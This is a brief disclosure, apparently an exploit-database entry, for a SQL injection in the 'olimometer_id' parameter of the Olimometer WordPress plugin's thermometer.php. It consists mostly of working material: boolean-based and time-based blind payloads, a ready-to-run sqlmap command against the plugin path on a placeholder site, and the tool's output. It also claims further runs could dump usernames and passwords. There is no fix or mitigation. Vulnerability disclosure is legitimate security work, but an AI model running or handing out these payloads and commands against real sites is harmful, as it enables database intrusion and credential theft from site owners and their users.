1 - Description
# Vulnerable parameter: olimometer_id=
Parameter: olimometer_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: olimometer_id=1 AND 6227=6227
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: olimometer_id=1 AND SLEEP(5)
Using GET SQL Method with the "olimometer_id" parameter, we were able to
get the database name from the EXAMPLE.COM website . By further running
SQL Map using different arguments, we would be able to get the complete
database, including usernames and passwords if there are such.
2. Proof of Concept
Using the website EXAMPLE.COM for example, we can fire up sqlmap and set
the full path to the vulnerable parameter:
root@kali:~# sqlmap -u
http://EXAMPLE.COM/wp-content/plugins/olimometer/thermometer.php?olimometer_
id=1
--dbs --threads=5 --random-agent --no-cast
---
Parameter: olimometer_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: olimometer_id=1 AND 6227=6227
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: olimometer_id=1 AND SLEEP(5)
